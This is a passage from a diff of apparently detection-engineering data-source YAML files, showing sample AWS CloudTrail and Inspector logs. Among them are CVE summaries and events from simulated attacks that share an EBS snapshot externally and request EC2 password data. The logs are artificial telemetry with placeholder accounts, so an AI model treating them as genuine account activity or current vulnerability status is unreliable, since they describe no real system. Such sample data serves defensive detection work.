"https://security-tracker.debian.org/tracker/CVE-2011-4116", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "5.28.1-6+deb10u1"}, {"key": "package_name", "value": "perl"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-19882", "description": "shadow 4.8, in certain circumstances affecting at least Gentoo, Arch Linux, and Void Linux, allows local users to obtain root access because setuid programs are misconfigured. Specifically, this affects shadow 4.8 when compiled using --with-libpam but without explicitly passing --disable-account-tools-setuid, and without a PAM configuration suitable for use with setuid account management tools. This combination leads to account management tools (groupadd, groupdel, groupmod, useradd, userdel, usermod) that can easily be used by unprivileged local users to escalate privileges to root in multiple ways. This issue became much more relevant in approximately December 2019 when an unrelated bug was fixed (i.e., the chmod calls to suidusbins were fixed in the upstream Makefile which is now included in the release version 4.8).", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-19882", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "6.9"}]}, {"name": "CVE-2007-5686", "description": "initscripts in rPath Linux 1 sets insecure permissions for the /var/log/btmp file, which allows local users to obtain sensitive information regarding authentication attempts. NOTE: because sshd detects the insecure permissions and does not log certain events, this also prevents sshd from logging failed authentication attempts by remote attackers.", "uri": "https://security-tracker.debian.org/tracker/CVE-2007-5686", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:C/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.9"}]}, {"name": "CVE-2013-4235", "description": "shadow: TOCTOU (time-of-check time-of-use) race condition when copying and removing directory trees", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-4235", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "3.3"}]}, {"name": "CVE-2020-13529", "description": "An exploitable denial-of-service vulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-13529", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:A/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.9"}]}, {"name": "CVE-2013-4392", "description": "systemd, when updating file permissions, allows local users to change the permissions and SELinux security contexts for arbitrary files via a symlink attack on unspecified files.", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-4392", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "3.3"}]}, {"name": "CVE-2020-13776", "description": "systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-13776", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "6.2"}]}, {"name": "CVE-2019-20386", "description": "An issue was discovered in button_open in login/logind-button.c in systemd before 243. When executing the udevadm trigger command, a memory leak may occur.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-20386", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "241-7~deb10u8"}, {"key": "package_name", "value": "systemd"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2019-9923", "description": "pax_decode_header in sparse.c in GNU Tar before 1.32 had a NULL pointer dereference when parsing certain archives that have malformed extended headers.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-9923", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.30+dfsg-6"}, {"key": "package_name", "value": "tar"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2005-2541", "description": "Tar 1.15.1 does not properly warn the user when extracting setuid or setgid files, which may allow local users or remote attackers to gain privileges.", "uri": "https://security-tracker.debian.org/tracker/CVE-2005-2541", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.30+dfsg-6"}, {"key": "package_name", "value": "tar"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "10"}]}, {"name": "CVE-2021-20193", "description": "A flaw was found in the src/list.c of tar 1.33 and earlier. This flaw allows an attacker who can submit a crafted input file to tar to cause uncontrolled consumption of memory. The highest threat from this vulnerability is to system availability.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-20193", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.30+dfsg-6"}, {"key": "package_name", "value": "tar"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-17973", "description": "** DISPUTED ** In LibTIFF 4.0.8, there is a heap-based use-after-free in the t2p_writeproc function in tiff2pdf.c. NOTE: there is a third-party report of inability to reproduce this issue.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-17973", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-35521", "description": "A flaw was found in libtiff. Due to a memory allocation failure in tif_read.c, a crafted TIFF file can lead to an abort, resulting in denial of service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-35521", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2014-8130", "description": "The _TIFFmalloc function in tif_unix.c in LibTIFF 4.0.3 does not reject a zero size, which allows remote attackers to cause a denial of service (divide-by-zero error and application crash) via a crafted TIFF image that is mishandled by the TIFFWriteScanline function in tif_write.c, as demonstrated by tiffdither.", "uri": "https://security-tracker.debian.org/tracker/CVE-2014-8130", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-5563", "description": "LibTIFF version 4.0.7 is vulnerable to a heap-based buffer over-read in tif_lzw.c resulting in DoS or code execution via a crafted bmp image to tools/bmp2tiff.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-5563", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-35522", "description": "In LibTIFF, there is a memory malloc failure in tif_pixarlog.c. A crafted TIFF document can lead to an abort, resulting in a remote denial of service attack.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-35522", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-9117", "description": "In LibTIFF 4.0.7, the program processes BMP images without verifying that biWidth and biHeight in the bitmap-information header match the actual input, leading to a heap-based buffer over-read in bmp2tiff.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-9117", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2017-16232", "description": "** DISPUTED ** LibTIFF 4.0.8 has multiple memory leak vulnerabilities, which allow attackers to cause a denial of service (memory consumption), as demonstrated by tif_open.c, tif_lzw.c, and tif_aux.c. NOTE: Third parties were unable to reproduce the issue.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-16232", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2018-10126", "description": "LibTIFF 4.0.9 has a NULL pointer dereference in the jpeg_fdct_16x16 function in jfdctint.c.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-10126", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.1.0+git191117-2~deb10u2"}, {"key": "package_name", "value": "tiff"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2021-22924", "description": "libcurl keeps previously used connections in a connection pool for subsequenttransfers to reuse, if one of them matches the setup.Due to errors in the logic, the config matching function did not take 'issuercert' into account and it compared the involved paths *case insensitively*,which could lead to libcurl reusing wrong connections.File paths are, or can be, case sensitive on many systems but not all, and caneven vary depending on used file systems.The comparison also didn't include the 'issuer cert' which a transfer can setto qualify how to verify the server certificate.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22924", "severity": "UNDEFINED", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl"}]}, {"name": "CVE-2021-38115", "description": "read_header_tga in gd_tga.c in the GD Graphics Library (aka LibGD) through 2.3.2 allows remote attackers to cause a denial of service (out-of-bounds read) via a crafted TGA file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-38115", "severity": "UNDEFINED", "attributes": [{"key": "package_version", "value": "2.2.5-5.2"}, {"key": "package_name", "value": "libgd2"}]}, {"name": "CVE-2021-3618", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-3618", "severity": "UNDEFINED", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}]}], "findingSeverityCounts": {"HIGH": 2, "MEDIUM": 14, "INFORMATIONAL": 63, "LOW": 22, "UNDEFINED": 3}}}, "requestID": "23c19e2d-c48b-4265-b4eb-853e7b325780", "eventID": "6c94a9b2-36dc-43f8-a6dd-4ec839ded8af", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_describesnapshotattribute.yml b/data_sources/aws_cloudtrail_describesnapshotattribute.yml index 959c8bba42..116061f929 100644 --- a/data_sources/aws_cloudtrail_describesnapshotattribute.yml +++ b/data_sources/aws_cloudtrail_describesnapshotattribute.yml @@ -122,4 +122,5 @@ fields: - vendor_account - vendor_product - vendor_region -example_log: '{"eventVersion": "1.10", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLBXYPYUKBH:aws-go-sdk-1740131590946446551", "arn": "arn:aws:sts::111111111111111:assumed-role/DAFTPUNK-cloud-security-audit/aws-go-sdk-1740131590946446551", "accountId": "111111111111111", "accessKeyId": "DAFTPUNK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLBXYPYUKBH", "arn": "arn:aws:iam::111111111111111:role/DAFTPUNK-cloud-security-audit", "accountId": "111111111111111", "userName": "DAFTPUNK-cloud-security-audit"}, "attributes": {"creationDate": "2025-02-21T10:48:43Z", "mfaAuthenticated": "false"}}}, "eventTime": "2025-02-21T11:29:27Z", "eventSource": "ec2.amazonaws.com", "eventName": "DescribeSnapshotAttribute", "awsRegion": "eu-central-1", "sourceIPAddress": "54.203.114.197", "userAgent": "m/E aws-sdk-go-v2/1.30.5 os/linux lang/go#1.22.4 md/GOOS#linux md/GOARCH#amd64 api/ec2#1.177.3", "requestParameters": {"snapshotId": "snap-082bd5016636bbd94", "attributeType": "PRODUCT_CODES"}, "responseElements": null, "requestID": "70339070-6038-40b7-9acf-5ecb85cda843", "eventID": "bcc65c3f-a997-4a01-90bf-3b85f7268e70", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "ec2.eu-central-1.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLCNEAQXWZV", "arn": "arn:aws:iam::111111111111:user/bhavin_console", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLF5EAXXXX", "userName": "bhavin_console"}, "eventTime": "2023-03-20T22:31:36Z", "eventSource": "ec2.amazonaws.com", "eventName": "ModifySnapshotAttribute", "awsRegion": "us-west-2", "sourceIPAddress": "72.135.1.1", "userAgent": "stratus-red-team_46665bb8-dc15-4aba-a5ad-a362772b3f0d", "requestParameters": {"snapshotId": "snap-02effb3bb62786b18", "createVolumePermission": {"add": {"items": [{"userId": "012345678912"}]}}, "attributeType": "CREATE_VOLUME_PERMISSION"}, "responseElements": {"requestId": "f58433e6-a7f4-4e63-9cba-7ecc60ab74b2", "_return": true}, "requestID": "f58433e6-a7f4-4e63-9cba-7ecc60ab74b2", "eventID": "62e027d3-7191-48f4-b5fe-4b66c58b3008", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "ec2.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_getpassworddata.yml b/data_sources/aws_cloudtrail_getpassworddata.yml index 9e5316d2a9..1f85e55522 100644 --- a/data_sources/aws_cloudtrail_getpassworddata.yml +++ b/data_sources/aws_cloudtrail_getpassworddata.yml @@ -107,4 +107,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLP5AASA6I5:aws-go-sdk-1660169051746043000", "arn": "arn:aws:sts::111111111111:assumed-role/sample-role-used-by-stratus-for-ec2-password-data/aws-go-sdk-1660169051746043000", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLLY5RQXEF", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLP5AASA6I5", "arn": "arn:aws:iam::111111111111:role/sample-role-used-by-stratus-for-ec2-password-data", "accountId": "111111111111", "userName": "sample-role-used-by-stratus-for-ec2-password-data"}, "webIdFederationData": {}, "attributes": {"creationDate": "2022-08-10T22:04:12Z", "mfaAuthenticated": "false"}}}, "eventTime": "2022-08-10T22:04:13Z", "eventSource": "ec2.amazonaws.com", "eventName": "GetPasswordData", "awsRegion": "us-west-2", "sourceIPAddress": "142.254.89.27", "userAgent": "stratus-red-team_e3e4b259-63a4-4d89-acd5-a7286a279bb8", "errorCode": "Client.UnauthorizedOperation", "errorMessage": "You are not authorized to perform this operation. Encoded authorization failure message: OwnXKlWs2vtfsyXhkYTFO35PfDwIeH4oGadP2dmbdguXBDpSfP-65XwZU4JdWht_u8p9BlgIZ0QOYIzmm5-ApXc7HsgOynmQvF4vFNUxxiuY0w-VRNBiuPmphwnJqYln8pTJogn0DfcleY5TIuDEFwmGvZHnGMmK1kXJ1VcUiQvbK_vuDpSqIDFz-jqcnOTjzsC4DXlTZkHLL1HEeNVIjI9HCEWYG4CuG9Ti8BQ0AnGVkU8oqvtS6iyVlnPI9oId5_AWpfmE1ijhNKbgFH77DjRn6QyR5rGkGYYFpvaIyMvX33Vti4RzfAyJdpuzMgp6tV-q_Rbh0ikwBJvUtiiGfmqzdQynfRNDQmXJ3ruifOjGmUz34M90SGFJKi5CVHGThtO3UWj9EqYXpKdu_JgTYEqxWvRBopB--V7tOap8XKuz7W3rWyHN2clHA0yooLZ3DV34LWgzzDp9Iv66829HSTwGz7h2P0sGdCNuV_FCxwQzWYa8f6_h1By90MvWUvmEDLSzOfA_PF6BcqCmV8XBiPUvCMPebDSGmPwSa371J5Yn2xEiuQadfuNYRLZnd2i1V_NF9ax67BdZ", "requestParameters": {"instanceId": "i-7sap2krlslv6adrs"}, "responseElements": null, "requestID": "87368810-7b30-4ff9-b097-702778a53f22", "eventID": "0cdd3757-296a-4454-9619-d0f8be335081", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "ec2.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLP5AASA6I5:aws-go-sdk-1660169051746043000", "arn": "arn:aws:sts::111111111111:assumed-role/sample-role-used-by-stratus-for-ec2-password-data/aws-go-sdk-1660169051746043000", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLLY5RQXEF", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLP5AASA6I5", "arn": "arn:aws:iam::111111111111:role/sample-role-used-by-stratus-for-ec2-password-data", "accountId": "111111111111", "userName": "sample-role-used-by-stratus-for-ec2-password-data"}, "webIdFederationData": {}, "attributes": {"creationDate": "2022-08-10T22:04:12Z", "mfaAuthenticated": "false"}}}, "eventTime": "2022-08-10T22:04:13Z", "eventSource": "ec2.amazonaws.com", "eventName": "GetPasswordData", "awsRegion": "us-west-2", "sourceIPAddress": "142.254.89.27", "userAgent": "stratus-red-team_e3e4b259-63a4-4d89-acd5-a7286a279bb8", "errorCode": "Client.UnauthorizedOperation", "errorMessage": "You are not authorized to perform this operation. Encoded authorization failure message: OwnXKlWs2vtfsyXhkYTFO35PfDwIeH4oGadP2dmbdguXBDpSfP-65XwZU4JdWht_u8p9BlgIZ0QOYIzmm5-ApXc7HsgOynmQvF4vFNUxxiuY0w-VRNBiuPmphwnJqYln8pTJogn0DfcleY5TIuDEFwmGvZHnGMmK1kXJ1VcUiQvbK_vuDpSqIDFz-jqcnOTjzsC4DXlTZkHLL1HEeNVIjI9HCEWYG4CuG9Ti8BQ0AnGVkU8oqvtS6iyVlnPI9oId5_AWpfmE1ijhNKbgFH77DjRn6QyR5rGkGYYFpvaIyMvX33Vti4RzfAyJdpuzMgp6tV-q_Rbh0ikwBJvUtiiGfmqzdQynfRNDQmXJ3ruifOjGmUz34M90SGFJKi5CVHGThtO3UWj9EqYXpKdu_JgTYEqxWvRBopB--V7tOap8XKuz7W3rWyHN2clHA0yooLZ3DV34LWgzzDp9Iv66829HSTwGz7h2P0sGdCNuV_FCxwQzWYa8f6_h1By90MvWUvmEDLSzOfA_PF6BcqCmV8XBiPUvCMPebDSGmPwSa371J5Yn2xEiuQadfuNYRLZnd2i1V_NF9ax67BdZ", "requestParameters": {"instanceId": "i-7sap2krlslv6adrs"}, "responseElements": null, "requestID": "87368810-7b30-4ff9-b097-702778a53f22", "eventID": "0cdd3757-296a-4454-9619-d0f8be335081", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "ec2.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_modifydbinstance.yml b/data_sources/aws_cloudtrail_modifydbinstance.yml index 6496a8a753..014709a679 100644 --- a/data_sources/aws_cloudtrail_modifydbinstance.yml +++ b/data_sources/aws_cloudtrail_modifydbinstance.yml @@ -157,4 +157,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLDF6WP4HD6:gowthamarajr@splunk.com", "arn": "arn:aws:sts::111111111111:assumed-role/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f/gowthamarajr@splunk.com", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLAKJDBQGB", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLDF6WP4HD6", "arn": "arn:aws:iam::111111111111:role/aws-reserved/sso.amazonaws.com/us-west-2/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f", "accountId": "111111111111", "userName": "AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f"}, "webIdFederationData": {}, "attributes": {"creationDate": "2022-08-05T08:47:55Z", "mfaAuthenticated": "false"}}}, "eventTime": "2022-08-05T09:19:15Z", "eventSource": "rds.amazonaws.com", "eventName": "ModifyDBInstance", "awsRegion": "us-west-2", "sourceIPAddress": "AWS Internal", "userAgent": "AWS Internal", "requestParameters": {"dBInstanceIdentifier": "database-1", "applyImmediately": true, "masterUserPassword": "****", "allowMajorVersionUpgrade": false, "deletionProtection": true}, "responseElements": {"dBInstanceIdentifier": "database-1", "dBInstanceClass": "db.m6g.large", "engine": "postgres", "dBInstanceStatus": "available", "masterUsername": "postgres", "endpoint": {"address": "database-1.ce6wk5bvtc0t.us-west-2.rds.amazonaws.com", "port": 5432, "hostedZoneId": "Z1PVIF0B656C1W"}, "allocatedStorage": 5, "instanceCreateTime": "Aug 5, 2022 9:02:51 AM", "preferredBackupWindow": "06:35-07:05", "backupRetentionPeriod": 7, "dBSecurityGroups": [], "vpcSecurityGroups": [{"vpcSecurityGroupId": "sg-46cfd020", "status": "active"}], "dBParameterGroups": [{"dBParameterGroupName": "default.postgres14", "parameterApplyStatus": "in-sync"}], "availabilityZone": "us-west-2a", "dBSubnetGroup": {"dBSubnetGroupName": "default", "dBSubnetGroupDescription": "default", "vpcId": "vpc-5f02343b", "subnetGroupStatus": "Complete", "subnets": [{"subnetIdentifier": "subnet-43225f35", "subnetAvailabilityZone": {"name": "us-west-2b"}, "subnetOutpost": {}, "subnetStatus": "Active"}, {"subnetIdentifier": "subnet-e55d7881", "subnetAvailabilityZone": {"name": "us-west-2a"}, "subnetOutpost": {}, "subnetStatus": "Active"}, {"subnetIdentifier": "subnet-0beddb972f034bdaa", "subnetAvailabilityZone": {"name": "us-west-2c"}, "subnetOutpost": {}, "subnetStatus": "Active"}, {"subnetIdentifier": "subnet-2d70cd75", "subnetAvailabilityZone": {"name": "us-west-2c"}, "subnetOutpost": {}, "subnetStatus": "Active"}]}, "preferredMaintenanceWindow": "sat:11:44-sat:12:14", "pendingModifiedValues": {"masterUserPassword": "****"}, "latestRestorableTime": "Aug 5, 2022 9:12:31 AM", "multiAZ": false, "engineVersion": "14.2", "autoMinorVersionUpgrade": true, "readReplicaDBInstanceIdentifiers": [], "licenseModel": "postgresql-license", "storageThroughput": 0, "optionGroupMemberships": [{"optionGroupName": "default:postgres-14", "status": "in-sync"}], "publiclyAccessible": false, "storageType": "standard", "dbInstancePort": 0, "storageEncrypted": true, "kmsKeyId": "arn:aws:kms:us-west-2:111111111111:key/318bcd5d-c453-489d-b63a-07753eab0623", "dbiResourceId": "db-IX2K4LYFLBVZDHBYNPEAVFHFQM", "cACertificateIdentifier": "rds-ca-2019", "domainMemberships": [], "copyTagsToSnapshot": true, "monitoringInterval": 60, "enhancedMonitoringResourceArn": "arn:aws:logs:us-west-2:111111111111:log-group:RDSOSMetrics:log-stream:db-IX2K4LYFLBVZDHBYNPEAVFHFQM", "monitoringRoleArn": "arn:aws:iam::111111111111:role/rds-monitoring-role", "dBInstanceArn": "arn:aws:rds:us-west-2:111111111111:db:database-1", "iAMDatabaseAuthenticationEnabled": false, "performanceInsightsEnabled": true, "performanceInsightsKMSKeyId": "arn:aws:kms:us-west-2:111111111111:key/318bcd5d-c453-489d-b63a-07753eab0623", "performanceInsightsRetentionPeriod": 7, "deletionProtection": true, "associatedRoles": [], "httpEndpointEnabled": false, "tagList": [], "customerOwnedIpEnabled": false, "networkType": "IPV4", "backupTarget": "region"}, "requestID": "59e6b621-2f12-415b-bde4-21fa2dc7c113", "eventID": "46351ca1-760e-4eef-b3ff-19723e13fbf8", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "sessionCredentialFromConsole": "true"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLDF6WP4HD6:gowthamarajr@splunk.com", "arn": "arn:aws:sts::111111111111:assumed-role/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f/gowthamarajr@splunk.com", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLAKJDBQGB", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLDF6WP4HD6", "arn": "arn:aws:iam::111111111111:role/aws-reserved/sso.amazonaws.com/us-west-2/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f", "accountId": "111111111111", "userName": "AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f"}, "webIdFederationData": {}, "attributes": {"creationDate": "2022-08-05T08:47:55Z", "mfaAuthenticated": "false"}}}, "eventTime": "2022-08-05T09:19:15Z", "eventSource": "rds.amazonaws.com", "eventName": "ModifyDBInstance", "awsRegion": "us-west-2", "sourceIPAddress": "AWS Internal", "userAgent": "AWS Internal", "requestParameters": {"dBInstanceIdentifier": "database-1", "applyImmediately": true, "masterUserPassword": "****", "allowMajorVersionUpgrade": false, "deletionProtection": true}, "responseElements": {"dBInstanceIdentifier": "database-1", "dBInstanceClass": "db.m6g.large", "engine": "postgres", "dBInstanceStatus": "available", "masterUsername": "postgres", "endpoint": {"address": "database-1.ce6wk5bvtc0t.us-west-2.rds.amazonaws.com", "port": 5432, "hostedZoneId": "Z1PVIF0B656C1W"}, "allocatedStorage": 5, "instanceCreateTime": "Aug 5, 2022 9:02:51 AM", "preferredBackupWindow": "06:35-07:05", "backupRetentionPeriod": 7, "dBSecurityGroups": [], "vpcSecurityGroups": [{"vpcSecurityGroupId": "sg-46cfd020", "status": "active"}], "dBParameterGroups": [{"dBParameterGroupName": "default.postgres14", "parameterApplyStatus": "in-sync"}], "availabilityZone": "us-west-2a", "dBSubnetGroup": {"dBSubnetGroupName": "default", "dBSubnetGroupDescription": "default", "vpcId": "vpc-5f02343b", "subnetGroupStatus": "Complete", "subnets": [{"subnetIdentifier": "subnet-43225f35", "subnetAvailabilityZone": {"name": "us-west-2b"}, "subnetOutpost": {}, "subnetStatus": "Active"}, {"subnetIdentifier": "subnet-e55d7881", "subnetAvailabilityZone": {"name": "us-west-2a"}, "subnetOutpost": {}, "subnetStatus": "Active"}, {"subnetIdentifier": "subnet-0beddb972f034bdaa", "subnetAvailabilityZone": {"name": "us-west-2c"}, "subnetOutpost": {}, "subnetStatus": "Active"}, {"subnetIdentifier": "subnet-2d70cd75", "subnetAvailabilityZone": {"name": "us-west-2c"}, "subnetOutpost": {}, "subnetStatus": "Active"}]}, "preferredMaintenanceWindow": "sat:11:44-sat:12:14", "pendingModifiedValues": {"masterUserPassword": "****"}, "latestRestorableTime": "Aug 5, 2022 9:12:31 AM", "multiAZ": false, "engineVersion": "14.2", "autoMinorVersionUpgrade": true, "readReplicaDBInstanceIdentifiers": [], "licenseModel": "postgresql-license", "storageThroughput": 0, "optionGroupMemberships": [{"optionGroupName": "default:postgres-14", "status": "in-sync"}], "publiclyAccessible": false, "storageType": "standard", "dbInstancePort": 0, "storageEncrypted": true, "kmsKeyId": "arn:aws:kms:us-west-2:111111111111:key/318bcd5d-c453-489d-b63a-07753eab0623", "dbiResourceId": "db-IX2K4LYFLBVZDHBYNPEAVFHFQM", "cACertificateIdentifier": "rds-ca-2019", "domainMemberships": [], "copyTagsToSnapshot": true, "monitoringInterval": 60, "enhancedMonitoringResourceArn": "arn:aws:logs:us-west-2:111111111111:log-group:RDSOSMetrics:log-stream:db-IX2K4LYFLBVZDHBYNPEAVFHFQM", "monitoringRoleArn": 